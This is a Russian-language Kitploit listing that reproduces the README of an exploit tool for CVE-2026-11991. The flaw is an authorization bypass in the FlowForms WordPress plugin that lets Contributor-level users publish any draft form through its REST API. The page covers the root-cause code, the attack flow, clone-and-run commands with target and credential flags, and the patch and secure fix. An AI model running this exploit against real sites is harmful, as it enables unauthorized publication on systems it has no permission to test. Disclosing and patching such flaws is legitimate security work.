Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-11991-Exploit — Автоматический эксплойт для CVE-2026-11991 — обхода авторизации в плагине FlowForms для WordPress, позволяющего пользователям с ролью Contributor+ публиковать любые черновые формы через специально сформированные REST API-запросы. | Kitploit
Инструменты/GitHubGitHub/0x00phantom-hat/cve-2026-11991-exploit
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на ПроникновениеОбучение и Образование
GitHub0x00phantom-hat/cve-2026-11991-exploit

CVE-2026-11991-Exploit

Автоматический эксплойт для CVE-2026-11991 — обхода авторизации в плагине FlowForms для WordPress, позволяющего пользователям с ролью Contributor+ публиковать любые черновые формы через специально сформированные REST API-запросы.

Репозиторий
13 ч 20 мин назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-11991 — Несанкционированная публикация форм в FlowForms

Аутентифицированный (Contributor+) обход авторизации для публикации любой черновой формы в FlowForms ≤ 1.1.1

Обзор уязвимости

СвойствоЗначение
CVE IDCVE-2026-11991
Оценка CVSS6.2 — Средний
Вектор CVSSAV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N/E:H/RL:O/RC:C
CWECWE-639 (Обход авторизации через управляемый пользователем ключ)
ПродуктFlowForms — плагин конструктора разговорных форм для WordPress
ЗатронутоВсе версии до 1.1.1 включительно
Исправлено в1.1.2
ИсследовательPhantom Hat

Технический анализ

Полное исследование в режиме «белого ящика» с анализом исходного кода, трассировкой входных данных и сравнением патчей:

📄 Исследование CVE-2026-11991 — Medium

Поверхность атаки

FlowForms предоставляет REST API в пространстве имён flowforms/v1. Конечная точка публикации:

root@kitploit:~
POST /index.php?rest_route=/flowforms/v1/forms/{id}/publish

принимает управляемый пользователем {id} в пути URL и переводит черновую форму в статус опубликованной на живом сайте.

Корневая причина

permission_callback для маршрута /publish выполняет только общую проверку прав:

root@kitploit:~
register_rest_route($ns, '/forms/(?P<id>\d+)/publish', [
    'methods'             => 'POST',
    'callback'            => [$this, 'publish_form'],
    'permission_callback' => fn() => current_user_can('edit_posts'),
]);

edit_posts — это право, которым обладают Contributors — роль, которой WordPress намеренно запрещает публикацию контента. Проверка владения целевым form_id полностью отсутствует. Любой аутентифицированный пользователь может опубликовать любую черновую форму на сайте.

Схема атаки

root@kitploit:~
Атакующий (Contributor)              REST API FlowForms
        │                                   │
        │── POST /wp-login.php ────────────>│  (1) Аутентификация как Contributor
        │<─ cookie wordpress_logged_in ─────│
        │                                   │
        │── GET /wp-admin/post-new.php ────>│  (2) Получение REST nonce
        │<─ wpApiSettings.nonce ────────────│
        │                                   │
        │── GET /flowform/{id} ────────────>│  (3) Перебор черновых форм
        │<─ "Form Not Published" ───────────│      (неаутентифицированный ответ)
        │                                   │
        │── POST /flowforms/v1/forms/       │  (4) Запуск публикации
        │        {id}/publish ─────────────>│      любой черновой формы по ID
        │                                   │      ← нет проверки владельца
        │<─ { "success": true } ────────────│
        │                                   │
        │   Форма теперь ЖИВАЯ на сайте     │  (5) Черновик обходит
        │   без редакторского одобрения     │      редакторский процесс

Использование эксплойта

Предварительные требования

  • Python 3.8+
  • Аутентифицированная учётная запись с ролью не ниже Contributor на целевом сайте

Установка

root@kitploit:~
git clone https://github.com/0x00phantom-hat/CVE-2026-11991-FlowForms-Exploit
cd CVE-2026-11991-FlowForms-Exploit
pip install -r requirements.txt

Базовое использование

root@kitploit:~
python3 CVE-2026-11991-exploit.py \
  --url http://TARGET \
  --user contributor \
  --password password123 \
  --num_forms 100 \
  --id_start 1

С прокси (Burp Suite)

root@kitploit:~
python3 CVE-2026-11991-exploit.py \
  --url http://TARGET \
  --proxy http://127.0.0.1:8080 \
  --user contributor \
  --password password123 \
  --num_forms 100 \
  --id_start 1

Полная таблица флагов

ФлагОписаниеОбязательный
--urlURL целевого WordPress✅
--userИмя пользователя WordPress (Contributor+)✅
--passwordПароль WordPress✅
--num_formsКоличество ID форм для перебора✅
--id_startНачальный ID формы для перебора✅
--proxyURL прокси (например, http://127.0.0.1:8080)❌

Процесс эксплуатации

Эксплойт выполняет три автоматизированных шага:

Шаг 1 — Аутентификация Выполняет вход от имени атакующего (Contributor) и получает действительный nonce REST API из wp-admin.

Шаг 2 — Перебор черновиков Сканирует GET /flowform/{id} в указанном диапазоне ID. Формы, возвращающие "Form Not Published", собираются как цели — это черновые формы, владельцем которых атакующий не является.

Шаг 3 — Публикация Отправляет POST /flowforms/v1/forms/{id}/publish с nonce атакующего. Конечная точка принимает запрос, переводит черновик в опубликованный статус и делает форму живой — без какой-либо проверки авторизации на владение.


Устранение уязвимости

ДействиеПодробности
ПатчЗамените общую проверку edit_posts на current_user_can('edit_post', $form_id) — второй аргумент привязывает проверку прав к конкретному объекту записи, обеспечивая соблюдение правил владения WordPress
СмягчениеДо установки патча ограничьте роли Contributor и Author, если плагин активен

Безопасная реализация

root@kitploit:~
// УЯЗВИМО
'permission_callback' => fn() => current_user_can('edit_posts'),

// БЕЗОПАСНО (исправлено)
private function can_edit_form($form_id) {
    return current_user_can('edit_post', $form_id);
}
'permission_callback' => fn($request) => $this->can_edit_form(absint($request['id'])),

Ссылки

  • CWE-639 — Обход авторизации через управляемый пользователем ключ
  • register_rest_route() — Документация разработчика WordPress
  • current_user_can() — Документация разработчика WordPress
  • Плагин FlowForms — WordPress.org

Структура проекта

root@kitploit:~
CVE-2026-11991-FlowForms-Exploit/
├── CVE-2026-11991-exploit.py   # Доработанный эксплойт с богатым интерфейсом
├── requirements.txt            # Зависимости Python
└── README.md                   # Этот файл

Отказ от ответственности

Этот инструмент предоставляется только для авторизованного тестирования безопасности и образовательных исследовательских целей. Несанкционированный доступ к компьютерным системам незаконен в соответствии с действующим законодательством во всём мире. Автор не несёт ответственности за неправомерное использование данного программного обеспечения. Всегда получайте явное письменное разрешение перед тестированием любой системы, которая вам не принадлежит.


Автор

Phantom Hat — независимый исследователь безопасности

  • Medium: @phantom_hat
  • GitHub: 0x00phantom-hat

Данное исследование было проведено в рамках ответственного раскрытия уязвимостей.

Скачать инструмент